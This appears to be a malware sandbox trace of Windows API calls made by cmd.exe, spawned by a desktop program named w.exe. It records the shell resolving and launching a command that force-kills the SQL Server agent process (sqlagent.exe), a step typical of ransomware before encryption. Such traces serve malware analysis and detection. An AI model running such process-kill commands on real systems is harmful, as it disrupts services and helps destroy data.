	[0033.499] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9c0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0033.499] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9c0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0033.499] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a9c0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0033.499] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0033.499] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0033.499] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0033.499] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0033.499] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0033.499] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0033.499] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0033.499] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0033.499] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0033.499] GetProcessHeap () returned 0x490000
	[0033.500] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a2ae0 | out: hHeap=0x490000) returned 1
	[0033.500] GetEnvironmentStringsW () returned 0x4a2220*
	[0033.500] GetProcessHeap () returned 0x490000
	[0033.500] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0xae2) returned 0x4a4b80
	[0033.500] FreeEnvironmentStringsW (penv=0x4a2220) returned 1
	[0033.500] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a9c0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0033.500] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a9c0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0033.500] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0033.500] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0033.500] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0033.500] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0033.500] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0033.500] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0033.500] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0033.500] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0033.500] GetProcessHeap () returned 0x490000
	[0033.500] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x54) returned 0x4a5670
	[0033.500] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2afa58 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0033.500] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2afa58, lpFilePart=0x2afa54 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2afa54*="Desktop") returned 0x25
	[0033.500] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0033.500] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2af7d4 | out: lpFindFileData=0x2af7d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x4a1e88
	[0033.500] FindClose (in: hFindFile=0x4a1e88 | out: hFindFile=0x4a1e88) returned 1
	[0033.501] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2af7d4 | out: lpFindFileData=0x2af7d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4a1e88
	[0033.501] FindClose (in: hFindFile=0x4a1e88 | out: hFindFile=0x4a1e88) returned 1
	[0033.501] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0033.501] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2af7d4 | out: lpFindFileData=0x2af7d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x4a1e88
	[0033.501] FindClose (in: hFindFile=0x4a1e88 | out: hFindFile=0x4a1e88) returned 1
	[0033.501] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0033.501] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0033.501] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0033.501] GetProcessHeap () returned 0x490000
	[0033.501] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a4b80 | out: hHeap=0x490000) returned 1
	[0033.501] GetEnvironmentStringsW () returned 0x4a4090*
	[0033.501] GetProcessHeap () returned 0x490000
	[0033.501] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0xb36) returned 0x4a5ed0
	[0033.501] FreeEnvironmentStringsW (penv=0x4a4090) returned 1
	[0033.501] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9b5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0033.501] GetProcessHeap () returned 0x490000
	[0033.501] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a5670 | out: hHeap=0x490000) returned 1
	[0033.501] GetProcessHeap () returned 0x490000
	[0033.502] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x400e) returned 0x4a6a10
	[0033.502] GetProcessHeap () returned 0x490000
	[0033.502] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x4c) returned 0x4a2d60
	[0033.502] GetProcessHeap () returned 0x490000
	[0033.502] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x4008) returned 0x4aaa28
	[0033.502] GetProcessHeap () returned 0x490000
	[0033.502] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x4008) returned 0x4aea38
	[0033.504] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0033.504] GetProcessHeap () returned 0x490000
	[0033.504] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x418) returned 0x4a2db8
	[0033.504] SetErrorMode (uMode=0x0) returned 0x8003
	[0033.504] SetErrorMode (uMode=0x1) returned 0x0
	[0033.504] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x4a2dc0, lpFilePart=0x2af9d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x2af9d0*="f") returned 0x31
	[0033.504] SetErrorMode (uMode=0x8003) returned 0x1
	[0033.504] GetProcessHeap () returned 0x490000
	[0033.504] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2db8, Size=0x8e) returned 0x4a2db8
	[0033.504] GetProcessHeap () returned 0x490000
	[0033.504] RtlSizeHeap (HeapHandle=0x490000, Flags=0x0, MemoryPointer=0x4a2db8) returned 0x8e
	[0033.504] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0033.504] GetProcessHeap () returned 0x490000
	[0033.504] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x72) returned 0x4b2a60
	[0033.505] GetProcessHeap () returned 0x490000
	[0033.505] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0xd8) returned 0x4a2e50
	[0033.505] GetProcessHeap () returned 0x490000
	[0033.505] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2e50, Size=0x72) returned 0x4a2e50
	[0033.505] GetProcessHeap () returned 0x490000
	[0033.505] RtlSizeHeap (HeapHandle=0x490000, Flags=0x0, MemoryPointer=0x4a2e50) returned 0x72
	[0033.505] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9c0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0033.505] GetProcessHeap () returned 0x490000
	[0033.505] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0xe0) returned 0x4a2ed0
	[0033.508] GetProcessHeap () returned 0x490000
	[0033.508] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a2ed0, Size=0x76) returned 0x4a2ed0
	[0033.508] GetProcessHeap () returned 0x490000
	[0033.508] RtlSizeHeap (HeapHandle=0x490000, Flags=0x0, MemoryPointer=0x4a2ed0) returned 0x76
	[0033.508] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0033.508] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im sqlagent.exe ", fInfoLevelId=0x1, lpFindFileData=0x2af76c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2af76c) returned 0xffffffff
	[0033.509] GetLastError () returned 0x3
	[0033.509] GetProcessHeap () returned 0x490000
	[0033.509] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4aaa28 | out: hHeap=0x490000) returned 1
	[0033.509] GetProcessHeap () returned 0x490000
	[0033.509] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4aea38 | out: hHeap=0x490000) returned 1
	[0033.509] GetProcessHeap () returned 0x490000
	[0033.509] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a6a10 | out: hHeap=0x490000) returned 1
	[0033.509] GetConsoleOutputCP () returned 0x1b5
	[0033.509] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9b4260 | out: lpCPInfo=0x4a9b4260) returned 1
	[0033.509] GetUserDefaultLCID () returned 0x409
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a9b4950, cchData=8 | out: lpLCData=":") returned 2
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2afb98, cchData=128 | out: lpLCData="0") returned 2
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2afb98, cchData=128 | out: lpLCData="0") returned 2
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2afb98, cchData=128 | out: lpLCData="1") returned 2
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a9b4940, cchData=8 | out: lpLCData="/") returned 2
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a9b4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a9b4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a9b4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a9b4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a9b4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a9b4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a9b4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a9b4930, cchData=8 | out: lpLCData=".") returned 2
	[0033.510] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a9b4920, cchData=8 | out: lpLCData=",") returned 2
	[0033.510] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0033.512] GetProcessHeap () returned 0x490000
	[0033.512] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x20c) returned 0x4a2f50
	[0033.512] GetConsoleTitleW (in: lpConsoleTitle=0x4a2f50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0033.512] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0033.512] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0033.512] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0033.512] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0033.512] GetProcessHeap () returned 0x490000
	[0033.512] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x400a) returned 0x4a6a10
	[0033.512] GetProcessHeap () returned 0x490000
	[0033.512] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a6a10 | out: hHeap=0x490000) returned 1
	[0033.513] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0033.513] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0033.513] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0033.513] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0033.513] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0033.513] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0033.513] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0033.513] GetProcessHeap () returned 0x490000
	[0033.513] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x58) returned 0x4a3168
	[0033.513] GetProcessHeap () returned 0x490000
	[0033.513] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x1a) returned 0x4a5710
	[0033.543] GetProcessHeap () returned 0x490000
	[0033.543] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x34) returned 0x4a31c8
	[0033.544] GetConsoleTitleW (in: lpConsoleTitle=0x2af890, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0033.544] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0033.544] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0033.545] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0033.545] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0033.545] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0033.545] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0033.545] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0033.545] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0033.545] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0033.545] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0033.545] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0033.545] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0033.545] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0033.545] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0033.545] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0033.545] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0033.545] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0033.545] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0033.545] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0033.545] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0033.545] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0033.545] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0033.545] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0033.545] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0033.545] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0033.546] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0033.546] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0033.546] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0033.546] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0033.546] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0033.546] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0033.546] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0033.546] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0033.546] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0033.546] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0033.546] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0033.546] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0033.546] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0033.546] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0033.546] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0033.546] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0033.546] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0033.546] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0033.546] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0033.546] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0033.546] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0033.546] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0033.547] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0033.547] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0033.547] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0033.547] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0033.547] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0033.547] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0033.547] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0033.547] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0033.547] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0033.547] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0033.547] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0033.547] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0033.547] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0033.547] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0033.547] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0033.547] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0033.547] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0033.547] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0033.547] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0033.547] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0033.547] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0033.547] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0033.547] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0033.547] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0033.547] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0033.547] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0033.547] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0033.547] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0033.547] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0033.547] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0033.547] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0033.547] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0033.547] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0033.547] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0033.547] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0033.547] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0033.548] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0033.548] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0033.548] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0033.548] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0033.548] GetProcessHeap () returned 0x490000
	[0033.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x210) returned 0x4a3208
	[0033.548] GetProcessHeap () returned 0x490000
	[0033.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x46) returned 0x4a3420
	[0033.548] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0033.548] GetProcessHeap () returned 0x490000
	[0033.548] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x418) returned 0x4907f0
	[0033.548] SetErrorMode (uMode=0x0) returned 0x8003
	[0033.548] SetErrorMode (uMode=0x1) returned 0x0
	[0033.549] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4907f8, lpFilePart=0x2af3b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2af3b0*="Desktop") returned 0x25
	[0033.549] SetErrorMode (uMode=0x8003) returned 0x1
	[0033.549] GetProcessHeap () returned 0x490000
	[0033.549] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4907f0, Size=0x66) returned 0x4907f0
	[0033.549] GetProcessHeap () returned 0x490000
	[0033.549] RtlSizeHeap (HeapHandle=0x490000, Flags=0x0, MemoryPointer=0x4907f0) returned 0x66
	[0033.549] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9c0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0033.549] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0033.549] GetProcessHeap () returned 0x490000
	[0033.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x120) returned 0x4a3470
	[0033.549] GetProcessHeap () returned 0x490000
	[0033.549] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x238) returned 0x490860
	[0033.551] GetProcessHeap () returned 0x490000
	[0033.551] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x490860, Size=0x122) returned 0x490860
	[0033.551] GetProcessHeap () returned 0x490000
	[0033.551] RtlSizeHeap (HeapHandle=0x490000, Flags=0x0, MemoryPointer=0x490860) returned 0x122
	[0033.551] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9c0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0033.551] GetProcessHeap () returned 0x490000
	[0033.551] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0xe0) returned 0x490990
	[0033.551] GetProcessHeap () returned 0x490000
	[0033.551] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x490990, Size=0x76) returned 0x490990
	[0033.551] GetProcessHeap () returned 0x490000
	[0033.551] RtlSizeHeap (HeapHandle=0x490000, Flags=0x0, MemoryPointer=0x490990) returned 0x76
	[0033.551] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0033.551] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x2af12c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2af12c) returned 0xffffffff
	[0033.551] GetLastError () returned 0x2
	[0033.551] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x2af12c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2af12c) returned 0xffffffff
	[0033.552] GetLastError () returned 0x2
	[0033.552] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0033.552] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x2af12c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2af12c) returned 0x490a10
	[0033.552] GetProcessHeap () returned 0x490000
	[0033.552] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a3598
	[0033.552] FindClose (in: hFindFile=0x490a10 | out: hFindFile=0x490a10) returned 1
	[0033.552] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x2af12c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2af12c) returned 0xffffffff
	[0033.552] GetLastError () returned 0x2
	[0033.552] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x2af12c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2af12c) returned 0x490a10
	[0033.552] GetProcessHeap () returned 0x490000
	[0033.552] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a3598, Size=0x4) returned 0x4a3598
	[0033.552] FindClose (in: hFindFile=0x490a10 | out: hFindFile=0x490a10) returned 1
	[0033.552] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0033.552] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0033.552] GetConsoleTitleW (in: lpConsoleTitle=0x2af624, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0033.553] InitializeProcThreadAttributeList (in: lpAttributeList=0x2af4ac, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2af574 | out: lpAttributeList=0x2af4ac, lpSize=0x2af574) returned 1
	[0033.553] UpdateProcThreadAttribute (in: lpAttributeList=0x2af4ac, dwFlags=0x0, Attribute=0x60001, lpValue=0x2af56c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2af4ac, lpPreviousValue=0x0) returned 1
